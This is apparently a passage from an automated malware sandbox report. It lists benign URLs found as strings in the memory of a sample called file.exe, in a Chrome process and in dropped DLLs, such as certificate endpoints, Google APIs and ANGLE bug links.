Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853975392.00002B440102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1853922877.00002B440101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854011000.00002B440107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855651047.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854189402.00002B4401048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855682199.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855709991.00002B4400F88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854035988.00002B4400F54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_75.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2129408867.000000006F8ED000.00000002.00000001.01000000.00000010.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2128843079.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2123081306.000000001D479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_79.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_79.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000001.00000003.1849020428.00002B4400384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849541101.00002B4400A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr, chromecache_79.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000001.00000003.1850075407.00002B4400CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000001.00000003.1853133945.00002B4400CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855762096.00002B4400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1852991861.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858916747.00002B4400CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1851707973.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1849965914.00002B4400CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850115522.00002B4400D0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1850075407.00002B4400CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000001.00000003.1827768648.000074DC002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1827744124.000074DC002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_79.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_79.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
